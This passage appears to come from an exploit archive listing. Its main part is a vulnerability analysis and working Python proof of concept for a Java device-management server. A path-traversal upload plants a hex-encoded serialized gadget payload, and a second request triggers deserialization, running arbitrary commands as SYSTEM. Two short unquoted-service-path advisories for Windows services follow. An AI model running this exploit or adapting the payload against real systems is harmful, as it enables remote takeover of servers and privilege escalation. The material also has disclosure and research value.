deleteOnExit); } //... private String getFileName(String id) { return basePath + "_chart" + id; // 4 } //... public ChartImage getChartImage(String id, HttpServletRequest request) { ChartImage res = null; ObjectInputStream ois = null; try { ois = new ObjectInputStream(new FileInputStream(getFileName(id))); // 3 res = (ChartImage) ois.readObject(); // 5 ois.close(); } catch (Exception ex) { ex.printStackTrace(); } finally { if (ois != null) { try { ois.close(); } catch (IOException ioex) { ioex.printStackTrace(); } } } return res; } ``` At [3] the code calls `getFileName` using the attacker controlled `id` GET parameter which returns a path to a file on the filesystem using `basePath`. This field is set in the `init` method of the servlet. On the same line, the code creates a new `ObjectInputStream` instance from the supplied filepath via `FileInputStream`. This path is attacker controlled at [4], however, there is no need to (ab)use traversals here for exploitation. The most important point is that at [5] the code calls `readObject` using the contents of the file without any further lookahead validation. ## Exploitation: For exploitation, an attacker can (ab)use the `MDMLogUploaderServlet` servlet to plant a file on the filsystem with controlled content inside. Here is the corresponding web.xml entry: ``` <servlet> <servlet-name>MDMLogUploaderServlet</servlet-name> <servlet-class>com.me.mdm.onpremise.webclient.log.MDMLogUploaderServlet</servlet-class> </servlet> ... <servlet-mapping> <servlet-name>MDMLogUploaderServlet</servlet-name> <url-pattern>/mdm/mdmLogUploader</url-pattern> <url-pattern>/mdm/client/v1/mdmLogUploader</url-pattern> </servlet-mapping> ``` ``` public class MDMLogUploaderServlet extends DeviceAuthenticatedRequestServlet { private Logger logger = Logger.getLogger("MDMLogger"); private Long customerID; private String deviceName; private String domainName; private Long resourceID; private Integer platformType; private Long acceptedLogSize = Long.valueOf(314572800L); public void doPost(HttpServletRequest request, HttpServletResponse response, DeviceRequest deviceRequest) throws ServletException, IOException { Reader reader = null; PrintWriter printWriter = null; logger.log(Level.WARNING, "Received Log from agent"); Long nDataLength = Long.valueOf(request.getContentLength()); logger.log(Level.WARNING, "MDMLogUploaderServlet : file conentent lenght is {0}", nDataLength); logger.log(Level.WARNING, "MDMLogUploaderServlet :Acceptable file conentent lenght is {0}", acceptedLogSize); try { if (nDataLength.longValue() <= acceptedLogSize.longValue()) { String udid = request.getParameter("udid"); // 1 String platform = request.getParameter("platform"); String fileName = request.getParameter("filename"); // 2 HashMap deviceMap = MDMUtil.getInstance().getDeviceDetailsFromUDID(udid); if (deviceMap != null) { customerID = ((Long) deviceMap.get("CUSTOMER_ID")); deviceName = ((String) deviceMap.get("MANAGEDDEVICEEXTN.NAME")); domainName = ((String) deviceMap.get("DOMAIN_NETBIOS_NAME")); resourceID = ((Long) deviceMap.get("RESOURCE_ID")); platformType = ((Integer) deviceMap.get("PLATFORM_TYPE")); } else { customerID = Long.valueOf(0L); deviceName = "default"; domainName = "default"; } String baseDir = System.getProperty("server.home"); deviceName = removeInvalidCharactersInFileName(deviceName); String localDirToStore = baseDir + File.separator + "mdm-logs" + File.separator + customerID + File.separator + deviceName + "_" + udid; // 3 File file = new File(localDirToStore); if (!file.exists()) { file.mkdirs(); // 4 } logger.log(Level.WARNING, "absolute Dir {0} ", new Object[]{localDirToStore}); fileName = fileName.toLowerCase(); if ((fileName != null) && (FileUploadUtil.hasVulnerabilityInFileName(fileName, "log|txt|zip|7z"))) { // 5 logger.log(Level.WARNING, "MDMLogUploaderServlet : Going to reject the file upload {0}", fileName); response.sendError(403, "Request Refused"); return; } String absoluteFileName = localDirToStore + File.separator + fileName; // 6 logger.log(Level.WARNING, "absolute File Name {0} ", new Object[]{fileName}); InputStream in = null; FileOutputStream fout = null; try { in = request.getInputStream(); // 7 fout = new FileOutputStream(absoluteFileName); // 8 byte[] bytes = new byte['✐']; int i; while ((i = in.read(bytes)) != -1) { fout.write(bytes, 0, i); // 9 } fout.flush(); } catch (Exception e1) { e1.printStackTrace(); } finally { if (fout != null) { fout.close(); } if (in != null) { in.close(); } } SupportFileCreation supportFileCreation = SupportFileCreation.getInstance(); supportFileCreation.incrementMDMLogUploadCount(); JSONObject deviceDetails = new JSONObject(); deviceDetails.put("platformType", platformType); deviceDetails.put("dataId", resourceID); deviceDetails.put("dataValue", deviceName); supportFileCreation.removeDeviceFromList(deviceDetails); } else { logger.log(Level.WARNING, "MDMLogUploaderServlet : Going to reject the file upload as the file conentent lenght is {0}", nDataLength); response.sendError(403, "Request Refused"); return; } return; } catch (Exception e) { logger.log(Level.WARNING, "Exception ", e); } finally { if (reader != null) { try { reader.close(); } catch (Exception ex) { ex.fillInStackTrace(); } } } } ``` ``` private static boolean isContainDirectoryTraversal(String fileName) { if ((fileName.contains("/")) || (fileName.contains("\\"))) { return true; } return false; } //... public static boolean hasVulnerabilityInFileName(String fileName, String allowedFileExt) { if ((isContainDirectoryTraversal(fileName)) || (isCompletePath(fileName)) || (!isValidFileExtension(fileName, allowedFileExt))) { return true; } return false; } ``` We can see that at [1] the `udid` variable is controlled using the `udid` GET parameter from a POST request. At [2] the `fileName` variable is controlled from the GET parameter `filename`. This `filename` GET parameter is actually filtered in 2 different ways for malicious values. At [3] a path is contructed using the GET parameter from [1] and at [4] a `mkdirs` primitive is hit. This is important because the _charts directory doesn't exist on the filesystem which is needed in order to exploit the deserialization bug. There is some validation on the `filename` at [5] which calls `FileUploadUtil.hasVulnerabilityInFileName` to check for directory traversals and an allow list of extensions. Of course, this doesn't stop `udid` from containing directory traversals, but I digress. At [6] the `absoluteFileName` variable is built up from the attacker influenced path at [3] using the filename from [2] and at [7] the binary input stream is read from the attacker controlled POST body. Finally at [8] and [9] the file is opened and the contents of the request is written to disk. What is not apparent however, is that further validation is performed on the `filename` at [2]. Let's take one more look at the web.xml file: ``` <init-param> <param-name>config-file</param-name> <param-value>security-regex.xml,security-mdm-regex.xml,security-mdm-api-regex.xml,security-properties.xml,security-common.xml,security-admin-sec-settings.xml,security-fws.xml,security-api.xml,security-patch-restapi.xml,security-mdm-groupdevices.xml,security-mdm-admin.xml,security-mdm-general.xml,security-mdm-agent.xml,security-mdm-reports.xml,security-mdm-inventory.xml,security-mdm-appmgmt.xml,security-mdm-docmgmt.xml,security-mdm-configuration.xml,security-defaultresponseheaders.xml,security-mdm-remote.xml,security-mdm-api-json.xml,security-mdm-api-get.xml,security-mdm-api-post.xml,security-mdm-api-put.xml,security-mdm-api-delete.xml,security-mdm-privacy.xml,security-mdm-osmgmt.xml,security-mdmapi-appmgmt.xml,security-mdmapi-profilejson.xml,security-mdmapi-profilemgmt.xml,security-mdm-compliance.xml,security-mdm-geofence.xml,security-mdmapi-sdp.xml,security-mdmp-CEA.xml,security-mdmapi-supporttab.xml,security-mdmapi-general.xml,security-mdm-roles.xml,security-mdm-technicians.xml,security-mdm-cea.xml,security-mdmapi-content-mgmt.xml,security-config.xml,security-patch.xml,security-patch-apd-scan.xml,security-patch-apd-scan-views.xml,security-patch-deployment.xml,security-patch-views.xml,security-patch-config.xml,security-patch-onpremise.xml,security-patch-server.xml,security-onpremise-common.xml,security-mdm-onpremise-files.xml,security-mdmapi-directory.xml,security-admin.xml,security-onpremise-admin.xml,security-reports.xml,security-inventory.xml,security-custom-fields.xml</param-value> </init-param> ``` The file that stands out is the `security-mdm-agent.xml` config file. The corrosponding entry for the `MDMLogUploaderServlet` servlet looks like this: ``` <url path="/mdm/mdmLogUploader" apiscope="MDMCloudEnrollment" authentication="required" duration="60" threshold="10" lock-period="60" method="post" csrf="false"> <param name="platform" regex="ios|android"/> <param name="filename" regex="logger.txt|logger.zip|mdmlogs.zip|managedprofile_mdmlogs.zip"/> <param name="uuid" regex="safestring"/> <param name="udid" regex="udid"/> <param name="erid" type="long"/> <param name="authtoken" regex="apikey" secret="true"/> <param name="SCOPE" regex="scope" /> <param name="encapiKey" regex="encapiKey" max-len="200" /> <param name="initiatedBy" regex="safestring"/> <param name="extraData" type="JSONObject" template="supportIssueDetailsJson" max-len="2500"/> </url> ``` Note that the authentication attribute is ignored in this case. The `filename` GET parameter is restricted to the following strings: "logger.txt", "logger.zip", "mdmlogs.zip" and "managedprofile_mdmlogs.zip" using a regex pattern. For exploitation, this limitation doesn't matter since the deserialization bug permits a completely controlled filename. ## Example: saturn:~ mr_me$ ./poc.py (+) usage: ./poc.py <target> <cmd> (+) eg: ./poc.py 172.16.175.153 mspaint.exe saturn:~ mr_me$ ./poc.py 172.16.175.153 "cmd /c whoami > ../webapps/DesktopCentral/si.txt" (+) planted our serialized payload (+) executed: cmd /c whoami > ../webapps/DesktopCentral/si.txt saturn:~ mr_me$ curl http://172.16.175.153:8020/si.txt nt authority\system """ import os import sys import struct import requests from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) def _get_payload(c): p = "aced0005737200176a6176612e7574696c2e5072696f72697479517565756594" p += "da30b4fb3f82b103000249000473697a654c000a636f6d70617261746f727400" p += "164c6a6176612f7574696c2f436f6d70617261746f723b787000000002737200" p += "2b6f72672e6170616368652e636f6d6d6f6e732e6265616e7574696c732e4265" p += "616e436f6d70617261746f72cf8e0182fe4ef17e0200024c000a636f6d706172" p += "61746f7271007e00014c000870726f70657274797400124c6a6176612f6c616e" p += "672f537472696e673b78707372003f6f72672e6170616368652e636f6d6d6f6e" p += "732e636f6c6c656374696f6e732e636f6d70617261746f72732e436f6d706172" p += "61626c65436f6d70617261746f72fbf49925b86eb13702000078707400106f75" p += "7470757450726f706572746965737704000000037372003a636f6d2e73756e2e" p += "6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e" p += "747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d" p += "5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b00" p += "0a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a" p += "6176612f6c616e672f436c6173733b4c00055f6e616d6571007e00044c00115f" p += "6f757470757450726f706572746965737400164c6a6176612f7574696c2f5072" p += "6f706572746965733b787000000000ffffffff757200035b5b424bfd19156767" p += "db37020000787000000002757200025b42acf317f8060854e002000078700000" p += "069bcafebabe0000003200390a00030022070037070025070026010010736572" p += "69616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c75" p += "6505ad2093f391ddef3e0100063c696e69743e010003282956010004436f6465" p += "01000f4c696e654e756d6265725461626c650100124c6f63616c566172696162" p += "6c655461626c6501000474686973010013537475625472616e736c6574506179" p += "6c6f616401000c496e6e6572436c61737365730100354c79736f73657269616c" p += "2f7061796c6f6164732f7574696c2f4761646765747324537475625472616e73" p += "6c65745061796c6f61643b0100097472616e73666f726d010072284c636f6d2f" p += "73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f7873" p += "6c74632f444f4d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c" p += "2f696e7465726e616c2f73657269616c697a65722f53657269616c697a617469" p += "6f6e48616e646c65723b2956010008646f63756d656e7401002d4c636f6d2f73" p += "756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c" p += "74632f444f4d3b01000868616e646c6572730100425b4c636f6d2f73756e2f6f" p += "72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65" p += "722f53657269616c697a6174696f6e48616e646c65723b01000a457863657074" p += "696f6e730700270100a6284c636f6d2f73756e2f6f72672f6170616368652f78" p += "616c616e2f696e7465726e616c2f78736c74632f444f4d3b4c636f6d2f73756e" p += "2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d" p += "417869734974657261746f723b4c636f6d2f73756e2f6f72672f617061636865" p += "2f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c69" p += "7a6174696f6e48616e646c65723b29560100086974657261746f720100354c63" p += "6f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64" p += "746d2f44544d417869734974657261746f723b01000768616e646c6572010041" p += "4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c" p += "2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c6572" p += "3b01000a536f7572636546696c6501000c476164676574732e6a6176610c000a" p += "000b07002801003379736f73657269616c2f7061796c6f6164732f7574696c2f" p += "4761646765747324537475625472616e736c65745061796c6f6164010040636f" p += "6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f" p += "78736c74632f72756e74696d652f41627374726163745472616e736c65740100" p += "146a6176612f696f2f53657269616c697a61626c65010039636f6d2f73756e2f" p += "6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f" p += "5472616e736c6574457863657074696f6e01001f79736f73657269616c2f7061" p += "796c6f6164732f7574696c2f476164676574730100083c636c696e69743e0100" p += "116a6176612f6c616e672f52756e74696d6507002a01000a67657452756e7469" p += "6d6501001528294c6a6176612f6c616e672f52756e74696d653b0c002c002d0a" p += "002b002e01000708003001000465786563010027284c6a6176612f6c616e672f" p += "537472696e673b294c6a6176612f6c616e672f50726f636573733b0c00320033" p += "0a002b003401000d537461636b4d61705461626c6501001d79736f7365726961" p += "6c2f50776e6572373633323838353835323036303901001f4c79736f73657269" p += "616c2f50776e657237363332383835383532303630393b002100020003000100" p += "040001001a000500060001000700000002000800040001000a000b0001000c00" p += "00002f00010001000000052ab70001b100000002000d0000000600010000002e" p += "000e0000000c000100000005000f003800000001001300140002000c0000003f" p += "0000000300000001b100000002000d00000006000100000033000e0000002000" p += "0300000001000f00380000000000010015001600010000000100170018000200" p += "19000000040001001a00010013001b0002000c000000490000000400000001b1" p += "00000002000d00000006000100000037000e0000002a000400000001000f0038" p += "00000000000100150016000100000001001c001d000200000001001e001f0003" p += "0019000000040001001a00080029000b0001000c00000024000300020000000f" p += "a70003014cb8002f1231b6003557b10000000100360000000300010300020020" p += "00000002002100110000000a000100020023001000097571007e0010000001d4" p += "cafebabe00000032001b0a000300150700170700180700190100107365726961" p += "6c56657273696f6e5549440100014a01000d436f6e7374616e7456616c756505" p += "71e669ee3c6d47180100063c696e69743e010003282956010004436f64650100" p += "0f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c65" p += "5461626c6501000474686973010003466f6f01000c496e6e6572436c61737365" p += "730100254c79736f73657269616c2f7061796c6f6164732f7574696c2f476164" p += "6765747324466f6f3b01000a536f7572636546696c6501000c47616467657473" p += "2e6a6176610c000a000b07001a01002379736f73657269616c2f7061796c6f61" p += "64732f7574696c2f4761646765747324466f6f0100106a6176612f6c616e672f" p += "4f626a6563740100146a6176612f696f2f53657269616c697a61626c6501001f" p += "79736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747300" p += "2100020003000100040001001a00050006000100070000000200080001000100" p += "0a000b0001000c0000002f00010001000000052ab70001b100000002000d0000" p += "000600010000003b000e0000000c000100000005000f00120000000200130000" p += "0002001400110000000a000100020016001000097074000450776e7270770100" p += "7871007e000d78" obj = bytearray(bytes.fromhex(p)) obj[0x240:0x242] = struct.pack(">H", len(c) + 0x694) obj[0x6e5:0x6e7] = struct.pack(">H", len(c)) start = obj[:0x6e7] end = obj[0x6e7:] return start + str.encode(c) + end def we_can_plant_serialized(t, c): # stage 1 - traversal file write primitive uri = "https://%s:8383/mdm/client/v1/mdmLogUploader" % t p = { "udid" : "si\\..\\..\\..\\webapps\\DesktopCentral\\_chart", "filename" : "logger.zip" } h = { "Content-Type" : "application/octet-stream" } d = _get_payload(c) r = requests.post(uri, params=p, data=d, verify=False) if r.status_code == 200: return True return False def we_can_execute_cmd(t): # stage 2 - deserialization uri = "https://%s:8383/cewolf/" % t p = { "img" : "\\logger.zip" } r = requests.get(uri, params=p, verify=False) if r.status_code == 200: return True return False def main(): if len(sys.argv) != 3: print("(+) usage: %s <target> <cmd>" % sys.argv[0]) print("(+) eg: %s 172.16.175.153 mspaint.exe" % sys.argv[0]) sys.exit(1) t = sys.argv[1] c = sys.argv[2] if we_can_plant_serialized(t, c): print("(+) planted our serialized payload") if we_can_execute_cmd(t): print("(+) executed: %s" % c) if __name__ == "__main__": main()
  24. # Exploit Title: ASUS GiftBox Desktop 1.1.1.127 - 'ASUSGiftBoxDesktop' Unquoted Service Path # Discovery by: Oscar Flores # Discovery Date: 2020-03-05 # Vendor Homepage: https://www.asus.com/ # Software Link : https://www.microsoft.com/en-us/p/asus-giftbox/9wzdncrdrb6s?activetab=pivot:overviewtab # Tested Version: 1.1.1.127 # Vulnerability Type: Unquoted Service Path # Tested on OS: Windows 10 Home Single Language # Step to discover Unquoted Service Path: C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr "ASUSGift" | findstr /i /v """ Asus GiftBox Desktop ASUSGiftBoxDekstop C:\Program Files (x86)\ASUS\ASUS GIFTBOX Desktop\ASUSGIFTBOXDesktop.exe Auto # Service info: C:\>sc qc ASUSGiftBoxDekstop [SC] QueryServiceConfig SUCCESS SERVICE_NAME: ASUSGiftBoxDekstop TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files (x86)\ASUS\ASUS GIFTBOX Desktop\ASUSGIFTBOXDesktop.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Asus GiftBox Desktop DEPENDENCIES : SERVICE_START_NAME : LocalSystem #Exploit: # A successful attempt would require the local user to be able to insert their code in the # system root path undetected by the OS or other security applications where it could # potentially be executed during application startup or reboot. If successful, the local # user's code would execute with the elevated privileges of the application.
  25. # Exploit Title: SpyHunter 4 - 'SpyHunter 4 Service' Unquoted Service Path # Discovery by: Alejandro Reyes # Discovery Date: 2020-03-05 # Vendor Homepage: https://www.enigmasoftware.com # Software Link : https://www.enigmasoftware.com/spyhunter-download-instructions/ # Tested Version: 4 # Vulnerability Type: Unquoted Service Path # Tested on OS: Windows 10 Home x64 # Step to discover Unquoted Service Path: C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr "SpyHunter" | findstr /i /v """ SpyHunter 4 Service SpyHunter 4 Service C:\Program Files\Enigma Software Group\SpyHunter\SH4Service.exe Auto # Service info: C:\>sc qc "IsAppService" [SC] QueryServiceConfig SUCCESS SERVICE_NAME: SpyHunter 4 Service TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files\Enigma Software Group\SpyHunter\SH4Service.exe LOAD_ORDER_GROUP : Base TAG : 0 DISPLAY_NAME : SpyHunter 4 Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem #Exploit: # A successful attempt would require the local user to be able to insert their code in the # system root path undetected by the OS or other security applications where it could # potentially be executed during application startup or reboot. If successful, the local # user's code would execute with the elevated privileges of the application.